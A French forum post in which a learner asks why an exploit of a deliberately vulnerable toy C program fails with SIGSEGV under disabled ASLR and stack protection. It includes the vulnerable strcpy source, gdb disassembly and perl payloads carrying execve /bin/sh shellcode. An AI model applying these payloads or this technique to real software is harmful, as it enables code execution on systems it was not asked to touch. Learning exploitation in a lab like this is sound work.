Salut,
Ce sujet a pour but d'éclaircir un point qui me titille dans l'exploitation d'un débordement de pile dans un programme lambda - prévu à cet usage - compilé sous un environnement comme cité dans le titre.
On considère le programme suivant :
geo@ubuntu:~/C/vuln$ cat vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void copy(const char*);
int main(int argc, char **argv) {
if(argc < 2) {
printf("Utilisation : %s <str>\n", argv[0]);
exit(EXIT_FAILURE);
}
printf("Copying... ");
copy(argv[1]);
printf("Ok\n");
return EXIT_SUCCESS;
}
void copy(const char* src) {
char dest[128];
strcpy(dest, src);
}
On remarque que le programme va faire appel à la procédure copy, qui, elle-même, va faire appel à la fonction strcpy sans prudence... Le tableau de caractères "dest" étant limité.
Je désactive l'option "ASLR" pour ne pas être perturbé par le secouement des adresses mémoires au niveau de la pile - elles sont différentes à chaque exécution. Un simple '0' à écrire dans /proc/sys/kernel/randomize_va_space fait l'affaire.
Je compile mon programme avec la ligne de commande suivante :
geo@ubuntu:~/C/vuln$ gcc -o vuln vuln.c -fno-stack-protector -ggdb
Cela me permettra d'ôter la protection de la pile que gcc insère pour éviter les débordements de tampons et l'option -ggdb facilite le débogage.
Je débogue le programme sans tarder et je parviens vite à localiser la sauvegarde du pointeur d'instruction de main que je vais écraser par un pointeur sur mon shellcode.
Je fais d'abord quelques manipulations préalables :
(gdb) disass copy
Dump of assembler code for function copy:
0x080484b5 <+0>: push ebp
0x080484b6 <+1>: mov ebp,esp
0x080484b8 <+3>: sub esp,0x98
0x080484be <+9>: mov eax,DWORD PTR [ebp+0x8]
0x080484c1 <+12>: mov DWORD PTR [esp+0x4],eax
0x080484c5 <+16>: lea eax,[ebp-0x88]
0x080484cb <+22>: mov DWORD PTR [esp],eax
0x080484ce <+25>: call 0x8048354 <strcpy@plt>
0x080484d3 <+30>: leave
0x080484d4 <+31>: ret
End of assembler dump.
(gdb) b *main+31
Breakpoint 2 at 0x8048473: file vuln.c, line 9.
Je lance avec mon schéma d'exploitation :
(gdb) r `perl -e 'print "a" x 140 . "\x40\xf3\xff\xbf" . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`
Starting program: /home/geo/C/vuln/vuln `perl -e 'print "a" x 140 . "\x40\xf3\xff\xbf" . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`
Program received signal SIGSEGV, Segmentation fault.
0x080484d4 in copy (src=Cannot access memory at address 0x61616169
) at vuln.c:23
23 }
(gdb)
C'est ce fameux signal SIGSEGV qui me stoppe. Mais voyons tout de même l'état des registres...
(gdb) x/i $eip
=> 0x80484d4 <copy+31>: ret
(gdb) x/x $esp
0xbffff33c: 0xbffff340
(gdb) x/16i 0xbffff340
0xbffff340: xor eax,eax
0xbffff342: xor ebx,ebx
0xbffff344: xor ecx,ecx
0xbffff346: xor edx,edx
0xbffff348: push edx
0xbffff349: push 0x68732f6e
0xbffff34e: push 0x69622f2f
0xbffff353: mov ebx,esp
0xbffff355: push edx
0xbffff356: push ebx
0xbffff357: mov ecx,esp
0xbffff359: mov al,0xb
0xbffff35b: int 0x80
0xbffff35d: add BYTE PTR [eax+eax*1],dl
0xbffff360: add al,BYTE PTR [eax]
0xbffff362: add BYTE PTR [eax],al
Si ce fameux signal SIGSEGV n'intervenait pas, je réussirais théoriquement à exécuter mon shellcode. Comme vous pouvez le voir, l'instruction qui devrait s'exécuter est le "ret", qui a pour effet de dépiler la valeur au sommet de la pile d'exécution et de la placer dans le pointeur d'instructions. En l'occurrence, cette valeur est une adresse mémoire qui fait référence à mon shellcode. Donc je pense être bon.
Je me suis dit qu'il fallait peut-être que je fasse attention à la sauvegarde du pointeur sur la base de la pile ainsi qu'à la valeur originale de mon argument unique ? Seul problème, l'adresse de la source de mes données (src) varie à chaque exécution du programme ; et même si j'arrive à la réecrire pour la faire pointer sur un espace mémoire qui existe, j'ai toujours un signal SIGSEGV. Un exemple :
(gdb) r `perl -e 'print "a" x 136 . "\x59\xf3\xff\xbf" . "\x44\xf5\xff\xbf" . "\xb0\xf5\xff\xbf" . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x44\xf5\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/geo/C/vuln/vuln `perl -e 'print "a" x 136 . "\x59\xf3\xff\xbf" . "\x44\xf5\xff\xbf" . "\xb0\xf5\xff\xbf" . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x44\xf5\xff\xbf"'`
Breakpoint 4, copy (
src=0xbffff58b 'a' <se r\377\[...]) at vuln.c:20
20 void copy(const char* src) {
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x080484d4 in copy (src=0xbffff544 "k\365\377\277") at vuln.c:23
23 }
(gdb)
Le "\x59\xf3\xff\xbf" est la sauvegarde d'ebp et pointe sur le second "\x44\xf5\xff\xbf" - car il y en a deux et le premier était là au cas où - qui, lui-même, pointe sur mon shellcode. C'est une adresse mémoire accessible, et pourtant, ça ne marche pas.
Peut-être que l'environnement d'exécution - si c'est correct à dire - détecte un écrasement des arguments passés à la fonction ? Je suis perdu...
Si quelqu'un a la patience de m'aider, alors je lui en serai très reconnaissant car je reconnais que tout cela n'est pas une partie de plaisir et qu'il n'y a aucun intérêt véritable derrière si ce n'est comprendre pourquoi ça ne fonctionne pas.
Merci d'avance.